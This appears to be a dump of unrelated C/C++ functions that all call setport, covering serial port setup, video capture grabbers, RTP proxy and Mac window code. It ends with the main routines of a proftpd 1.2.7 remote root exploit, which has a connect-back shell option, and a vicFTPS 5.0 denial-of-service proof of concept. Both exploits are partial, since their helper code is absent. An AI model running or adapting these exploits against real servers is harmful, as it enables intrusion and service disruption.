void updateCursor(void) {
u32 temp = cursorY * SCREEN_WIDTH + cursorX;
setport(0x3d4, 14);
setport(0x3d5, temp >> 8);
setport(0x3d4, 15);
setport(0x3d5, temp);
}
int CUartThread::Initial(char *strDev, int nBaud, int nByte, int nStop, char cCheck)
{
int ret = 0;
m_nFD = openport(strDev);
if(m_nFD > 0)
{
ret = setport(m_nFD, nBaud, nByte, nStop, cCheck); //设置端口参数，波特率、数据位、停止位、校验位
if(ret < 0)
{
return 0;
}
// start thread recv data
//this->Start();
}
else
{
return -1;
}
return m_nFD;
}
int MmeGrabber::command(int argc, const char*const* argv)
{
Tcl& tcl = Tcl::instance();
if (argc == 3) {
if(strcmp(argv[1], "decimate") == 0) {
int d = atoi(argv[2]);
/* fprintf(stderr, "vic: Called MmeGrabber::command with %s %s\n",
argv[1],argv[2]); */
if (d == 0) {
tcl.resultf("%s: divide by zero", argv[0], 0);
return (TCL_ERROR);
}
x_decimate_ = d;
y_decimate_ = d;
if(running_) {
shutdown();
SetComp();
startup();
}
else
SetComp();
return (TCL_OK);
}
else if (strcmp(argv[1], "port") == 0) {
setport(argv[2]);
return(TCL_OK);
}
else if (strcmp(argv[1], "type") == 0) {
setstandard(argv[2]);
return(TCL_OK);
}
}
return (Grabber::command(argc, argv));
}
int DirectShowGrabber::command(int argc, const char* const* argv) {
if (argc == 3) {
if (strcmp(argv[1], "decimate") == 0) {
u_int dec = (u_int)atoi(argv[2]);
Tcl& tcl = Tcl::instance();
if (dec <= 0) {
tcl.resultf("%s: divide by zero", argv[0]);
return (TCL_ERROR);
}
debug_msg("DirectShowGrabber::command: decimate=%d (dec)=%d\n", dec, decimate_);
if (dec != decimate_) {
decimate_ = dec;
if (running_) {
stop();
setsize();
start();
} else
setsize();
}
return (TCL_OK);
} else if (strcmp(argv[1], "port") == 0) {
setport(argv[2]);
return (TCL_OK);
} else if (strcmp(argv[1], "useconfig") ==0) {
if (strcmp(argv[2], "1") == 0)
useconfig_=1;
if (strcmp(argv[2], "0") == 0)
useconfig_=0;
}
}
return (Grabber::command(argc, argv));
}
sockinetaddr::sockinetaddr(const VXIchar *moduleName, VXIlogInterface *pVXILog,
VXIunsigned diagTagBase, const char* hn,
const char* sn, const char* pn)
: sockAddr (moduleName, pVXILog, diagTagBase)
{
setaddr(hn);
setport(sn, pn);
}
static struct rtpp_tnotify_target *
get_tp4wp(struct rtpp_tnotify_set *pvt, struct rtpp_tnotify_wildcard *wp,
struct sockaddr *ccaddr, struct sockaddr *laddr)
{
int i;
struct rtpp_tnotify_target *tp;
struct sockaddr_in localhost;
if (ccaddr == NULL || ccaddr->sa_family != AF_INET) {
/* Request on the unix/IPv6 domain socket, assume it's 127.0.0.1 */
memset(&localhost, '\0', sizeof(struct sockaddr_in));
inet_aton("127.0.0.1", &localhost.sin_addr);
ccaddr = sstosa(&localhost);
ccaddr->sa_family = AF_INET;
}
for (i = 0; i < pvt->tp_len; i++) {
/* First check against existing targets */
tp = pvt->tp[i];
if (tp->socket_name != NULL) {
/* Only match "automatic" entries */
continue;
}
if (tp->socket_type != wp->socket_type)
continue;
if (!ishostseq(ccaddr, sstosa(&tp->remote)))
continue;
if (getport(sstosa(&tp->remote)) != wp->port)
continue;
return (tp);
}
/* Nothing found, crank up a new entry */
if (pvt->tp_len == RTPP_TNOTIFY_TARGETS_MAX) {
return (NULL);
}
tp = malloc(sizeof(struct rtpp_tnotify_target));
if (tp == NULL) {
return (NULL);
}
memset(tp, '\0', sizeof(struct rtpp_tnotify_target));
if (laddr != NULL && laddr->sa_family == ccaddr->sa_family) {
tp->local = malloc(SA_LEN(laddr));
if (tp->local == NULL) {
free(tp);
return (NULL);
}
memcpy(tp->local, laddr, SA_LEN(laddr));
setanyport(tp->local);
}
tp->remote_len = SA_LEN(ccaddr);
memcpy(&tp->remote, ccaddr, tp->remote_len);
setport(sstosa(&tp->remote), wp->port);
tp->socket_type = wp->socket_type;
tp->connected = 0;
tp->fd = -1;
pvt->tp[pvt->tp_len] = tp;
pvt->tp_len += 1;
return (tp);
}
sockinetaddr::sockinetaddr(const VXIchar *moduleName, VXIlogInterface *pVXILog,
VXIunsigned diagTagBase, unsigned long addr,
const char* sn, const char* pn)
: sockAddr (moduleName, pVXILog, diagTagBase)
// addr is in host byte order
{
sin_family = sockinetbuf::af_inet;
sin_addr.s_addr = htonl (addr); // Added by [email protected] May 29, 1993
setport(sn, pn);
}
static void
keys(void) {
int x, s;
if ( ADCSRA & _BV(ADIF) ) // Have data?
read_adc(); // Update ADC readings
for ( x=0; x<4; ++x ) {
s = debounce(x); // State of key press
if ( s != 2 ) { // Not bouncing?
if ( pb[x] != s ) { // Key state different than before?
pb[x] = s; // Yes, save new state
if ( s == 0 ) // Keypress?
setport(x,st[x] ^= 1); // Yes, toggle output state
}
}
}
}
int XvGrabber::command(int argc, const char*const* argv)
{
Tcl& tcl = Tcl::instance();
if (argc == 3) {
if (strcmp(argv[1], "decimate") == 0) {
int dec = atoi(argv[2]);
Tcl& tcl = Tcl::instance();
if (dec <= 0) {
tcl.resultf("%s: divide by zero", argv[0]);
return (TCL_ERROR);
}
if (dec != decimate_) {
decimate_ = dec;
setsize();
}
return (TCL_OK);
} else if (strcmp(argv[1], "port") == 0) {
setport(argv[2]);
return (TCL_OK);
} else if (strcmp(argv[1], "contrast") == 0) {
setattr(XAcontrast, atoi(argv[2]));
return (TCL_OK);
} else if (strcmp(argv[1], "brightness") == 0) {
setattr(XAbrightness, atoi(argv[2]));
return (TCL_OK);
} else if (strcmp(argv[1], "hue") == 0) {
setattr(XAhue, atoi(argv[2]));
return (TCL_OK);
} else if (strcmp(argv[1], "saturation") == 0) {
setattr(XAsaturation, atoi(argv[2]));
return (TCL_OK);
} else if (strcmp(argv[1], "create-capwin") == 0) {
capwin_ = new XvWindow(argv[2], &vinfo_, grabID_);
tcl.result(capwin_->name());
return (TCL_OK);
}
} else if (argc == 2) {
if (strcmp(argv[1], "need-capwin") == 0) {
tcl.result("1");
return (TCL_OK);
}
}
return (Grabber::command(argc, argv));
}
/*
* open Com Dev
* default 8 databits 1 stopbit
* return 0 ok,otherwise failed
*/
int init_com_dev(const char *com_dev, int speed, char parity, int none_block)
{
int fd = -1;
if(NULL == com_dev) {
debug(LOG_ERR,"com dev name is NULL！\n");
return -1;
}
// const char *com_dev = "/dev/ttySAC2";
if(none_block)
fd = open(com_dev, O_RDWR|O_EXCL|O_NOCTTY|O_NONBLOCK);
else
fd = open(com_dev, O_RDWR|O_EXCL|O_NOCTTY);
if (fd < 0) {
debug(LOG_ERR,"Open Comdev '%s' Error! %d-%s\n",com_dev,errno,strerror(errno));
return -1;
}
if(setport(fd,speed,8,1,parity) != 0)
return -1;
return fd;
}
boolean shellsetglobals (WindowPtr wglobals) {
/*
set up globals for the window.
8/25/90 DW: when we're closing all the windows, we pop the globals stack
but there are no windows open to set globals to. we put a defensive driving
check in at the lowest level -- it can do double-duty protecting against
similar problems that might crop up elsewhere. the call to see if the window
list is empty is very, very cheap.
*/
register WindowPtr w = wglobals;
hdlwindowinfo hinfo;
register hdlwindowinfo hw;
short ix = 0;
if (!wglobals || emptywindowlist ()) { /*defensive driving, avoid a crash, it CAN happen*/
shellwindow = nil;
shellwindowinfo = nil;
shellundostack = nil; /*7/21/91 dmb*/
#ifdef WIN95VERSION
setport (NULL); // must clear port from prev globals
#endif
return (false);
}
if (!getwindowinfo (w, &hinfo)) /*chase the refcon field of the mac window*/
return (false);
hw = hinfo; /*copy into register*/
shellwindow = w; /*a global, this is the window whose globals are current*/
shellwindowinfo = hw; /*the windowinfo record whose globals are current*/
shellundostack = (hdlundostack) (**hw).hundostack;
shellredostack = (hdlundostack) (**hw).hredostack;
shellfindcallbacks ((**hw).configresnum, &ix);
shellglobals = globalsarray [ix];
config = shellglobals.config;
*shellglobals.windowholder = w;
*shellglobals.infoholder = hw;
*shellglobals.dataholder = (**hw).hdata;
(*shellglobals.setglobalsroutine) ();
//You must call with a GrafPtr or CGrafPtr.
//Code change by Timothy Paustian Wednesday, August 23, 2000 9:08:56 PM
//
{
#if TARGET_API_MAC_CARBON
CGrafPtr thePort = GetWindowPort(w);
#else
GrafPtr thePort = (GrafPtr)w;
#endif
if (getport () != thePort) /*make sure w is current port; a courtesy to the content handler*/
setport (thePort);
}
return (true);
} /*shellsetglobals*/
DirectShowGrabber::DirectShowGrabber(IBaseFilter *filt) {
HRESULT hr;
/* Reference: various, including
- Pesce, Chapter 11
- http://msdn.microsoft.com/library/default.asp?url=/library/en-us/directshow/htm/samplegrabberfilter.asp
*/
debug_msg("new DirectShowGrabber()\n");
crossbar = crossbarCursor = NULL;
pCaptureFilter_ = filt;
setport("external");
if( is_pal() ) {
basewidth_ = PAL_BASE_WIDTH;
baseheight_ = PAL_BASE_HEIGHT;
} else {
basewidth_ = NTSC_BASE_WIDTH;
baseheight_ = NTSC_BASE_HEIGHT;
}
/*
ZeroMemory(&mt_, sizeof(AM_MEDIA_TYPE));
mt_.majortype = MEDIATYPE_Video;
mt_.subtype = MEDIASUBTYPE_RGB24;
*/
/*
mt_.majortype = MEDIATYPE_AnalogVideo;
mt_.subtype = MEDIASUBTYPE_AnalogVideo_NTSC_M;
*/
callback = new Callback();
callback->grabber = this;
debug_msg("DirectShowGrabber::DirectShowGrabber(): callback created, grabber set\n");
// Create the Filter Graph Manager
hr = CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER,
IID_IGraphBuilder, (void **)&pGraph_);
if (FAILED(hr)) {
Grabber::status_=-1;
return;
}
debug_msg("DirectShowGrabber::DirectShowGrabber(): graph instance acquired\n");
// Obtain the interface used to run, stop, and pause the graph
hr = pGraph_->QueryInterface(IID_IMediaControl, (void **)&pMediaControl_);
//showErrorMessage(hr);
if (FAILED(hr)) {
Grabber::status_=-1;
return;
}
debug_msg("DirectShowGrabber::DirectShowGrabber(): graph media control interface acquired\n");
// Create the capture graph builder helper object
hr = CoCreateInstance(CLSID_CaptureGraphBuilder2, NULL, CLSCTX_INPROC_SERVER,
IID_ICaptureGraphBuilder2, (void **)&pBuild_);
//showErrorMessage(hr);
if (FAILED(hr)) {
Grabber::status_=-1;
return;
}
debug_msg("DirectShowGrabber::DirectShowGrabber(): graph builder interface acquired\n");
// Tell the capture graph builder about the FGM.
hr = pBuild_->SetFiltergraph(pGraph_);
//showErrorMessage(hr);
if (FAILED(hr)) {
Grabber::status_=-1;
return;
}
debug_msg("DirectShowGrabber::DirectShowGrabber(): graph associated with builder\n");
// Add the capture filter to the filter graph
hr = pGraph_->AddFilter(pCaptureFilter_, L"VicCaptureFilter");
//showErrorMessage(hr);
debug_msg("DirectShowGrabber::DirectShowGrabber(): capture filter added to graph\n");
// Set up the Sample Grabber transform filter
hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
IID_IBaseFilter, (LPVOID *)&pGrabberBaseFilter_);
//showErrorMessage(hr);
debug_msg("DirectShowGrabber::DirectShowGrabber(): grabber base filter instance acquired\n");
hr = pGrabberBaseFilter_->QueryInterface(IID_ISampleGrabber, (void**)&pSampleGrabber_);
//showErrorMessage(hr);
debug_msg("DirectShowGrabber::DirectShowGrabber(): Sample Grabber interface acquired\n");
//hr = pSampleGrabber_->SetMediaType(&mt_); showErrorMessage(hr);
hr = pSampleGrabber_->SetOneShot(FALSE); //showErrorMessage(hr);
hr = pSampleGrabber_->SetCallback(callback, 1); //showErrorMessage(hr);
hr = pGraph_->AddFilter(pGrabberBaseFilter_,L"VicSampleGrabber"); //showErrorMessage(hr);
// Get the Null Renderer DS default filter
hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER,
IID_IBaseFilter, (LPVOID *)&pNullBaseFilter_);
//showErrorMessage(hr);
if (FAILED(hr)) {
Grabber::status_=-1;
return;
}
debug_msg("DirectShowGrabber::DirectShowGrabber(): Null Renderer interface acquired\n");
// Finally, add the Null Renderer "sink" to the graph
hr = pGraph_->AddFilter(pNullBaseFilter_,L"VicNullRenderer");
if (FAILED(hr)) {
Grabber::status_=-1;
return;
}
debug_msg("DirectShowGrabber::DirectShowGrabber(): Null Renderer added to graph\n");
setCaptureOutputFormat();
findCrossbar(pCaptureFilter_);
routeCrossbar();
// We can presumably inspect crossbar==NULL here to determine if we want
// to change the Sample Grabber media type.
ZeroMemory(&mt_, sizeof(AM_MEDIA_TYPE));
mt_.majortype = MEDIATYPE_Video;
mt_.subtype = MEDIASUBTYPE_RGB24;
hr = pSampleGrabber_->SetMediaType(&mt_);
//showErrorMessage(hr);
// Connect the filters
hr = pBuild_->RenderStream(&PIN_CATEGORY_CAPTURE, &MEDIATYPE_Video,
pCaptureFilter_, pGrabberBaseFilter_, pNullBaseFilter_);
//showErrorMessage(hr);
debug_msg("DirectShowGrabber::DirectShowGrabber(): builder render stream\n");
if (FAILED(hr)) {
status_=-1;
return;
}
}
main(int argc,char **argv)
{
char buffer[BIGSIZE];
char cmdbuf[SIZE];
char srvbuf[SIZE];
char filename[30];
int j,a,b,port1;
int total;
char c;
char *user=NULL;
char *pass=NULL;
char *localip=NULL;
if(argc<2) usage(argv[0]);
while((c = getopt(argc, argv, "d:t:u:p:l:h:o:"))!= EOF)
{
switch (c)
{
case 'd':
server=optarg;
break;
case 't':
type = atoi(optarg);
if((type > sizeof(targets)/sizeof(v)) || (type < 1))
usage(argv[0]);
break;
case 'u':
user=optarg;
break;
case 'p':
pass=optarg;
break;
case 'l':
localip=optarg;
break;
case 'h':
cbhost=optarg;
break;
case 'o':
pt=atoi(optarg) & 0xffff;
break;
default:
usage(argv[0]);
return 1;
}
}
if(server==NULL || user==NULL || pass==NULL || localip==NULL)
usage(argv[0]);
printf("@---------------------------------------------------------@\n");
printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s #\n",VER);
printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
printf("-----------------------------------------------------------\n");
printf("[+] Ret address:%p\n",targets[type-1].ret);
if(cbhost==NULL)
bindmethod=1;
else
{
if((int)inet_addr(cbhost)==-1)
{
printf("[-] Invalid connect back host/ip\n");
exit(0);
}
bindmethod=0;
}
port1=34568; //PORT命令的时候在本地产生的一个端口.
sockfd=sockfd1=sockfd2=0;
sockfd=socket(2,1,0);
if(client_connect(sockfd,server,PORT)<0) quit();
loginftp(user,pass);
//port1=setpasv(); //get the pasv port
setport(localip,port1);
setfilename(filename,30);
setascii();
total=createbuffer(buffer,BIGSIZE,type,cbhost);
//printf("[+] buffer data size:%d\n",total);
storbuf(filename,buffer,total,port1);
//stor over, then close and reconnect
close(sockfd);
close(sockfd1);
close(sockfd2);
sockfd=socket(2,1,0);
if(client_connect(sockfd,server,PORT)<0) quit(); //reconnect
loginftp(user,pass);
setascii();
setport(localip,port1); //get the pasv port,a new one
mustread=total;
retrbuf(filename,buffer,total,port1);
readbuf("The First time read",sockfd,srvbuf,SIZE);
port1++;
setport(localip,port1);
mustread=total;
getshell=1;
retrbuf(filename,buffer,total,port1);
quit();
}
int main(int argc,char **argv){
printf("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n"
"+=========== vicFTPS v 5.0 REMOTE dos POC ;[ ===========+\n"
"+=========== Alfons Luja sp Z.0.0 ===========+\n"
"+=========== I want clear b00f not a d0s !!! ===========+\n"
"+=========== Propably 0 dAy ===========+\n"
"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
if(argc<3){
printf("\nuse poc.exe IP PORT\n");
return 0;
}
int socks;
hostent *host;
WSADATA WSA;
SOCKADDR_IN aip;
char recvs[666]={0}; //ave
char test[66]={0}; // 4 nothing
const char *login = "******";
const char *pass = "******";
strcpy(test,"LIST /\\/iWana_be_like_Gorion\\");
memset(test+strlen("LIST /\\/iWana_be_like_Gorion\\"),0x42,sizeof(test));
test[sizeof(test)-2]='\r';
test[sizeof(test)-1]='\n';
test[sizeof(test)]='\0';
printf("\nTarget:%s\nPort:%u\n",argv[1],setport(argv[2]));
if((WSAStartup(MAKEWORD(4, 2), &WSA))==0){
if((socks = socket(AF_INET,SOCK_STREAM,0)) != -1){
aip.sin_family = AF_INET;
aip.sin_addr.s_addr = inet_addr(argv[1]);
aip.sin_port = htons(setport(argv[2]));
memset(&(aip.sin_zero),'0',8);
if(connect(socks,(struct sockaddr*)&aip,sizeof(struct sockaddr)) == 0){
recv(socks,recvs,sizeof(recvs)-1,0);
__z00ro(recvs);
send(socks,login,strlen(login),0);
recv(socks,recvs,sizeof(recvs)-1,0);
__z00ro(recvs);
send(socks,pass,strlen(pass),0);
recv(socks,recvs,sizeof(recvs)-1,0);
printf("%s",recvs);
if(!strncmp(recvs,"230 fake user logged in.",3)){
printf("Send greeting!!\n");
__z00ro(recvs);
send(socks,test,sizeof(test),0);
recv(socks,recvs,sizeof(recvs)-1,0);
Sleep(200);
printf("Server is charmed and died happy!!\n");
}
else{
printf("Target dont love us . You must have account :[\r\n");
closesocket(socks);
WSACleanup();
return 0;
}
}
else {
printf("(__eRROR):[Connection error](!!!!)\n"
"It can be bad port number or IP addresss!\n");
closesocket(socks);
WSACleanup();
return 0;
}
}
WSACleanup();
}
return 0;
}
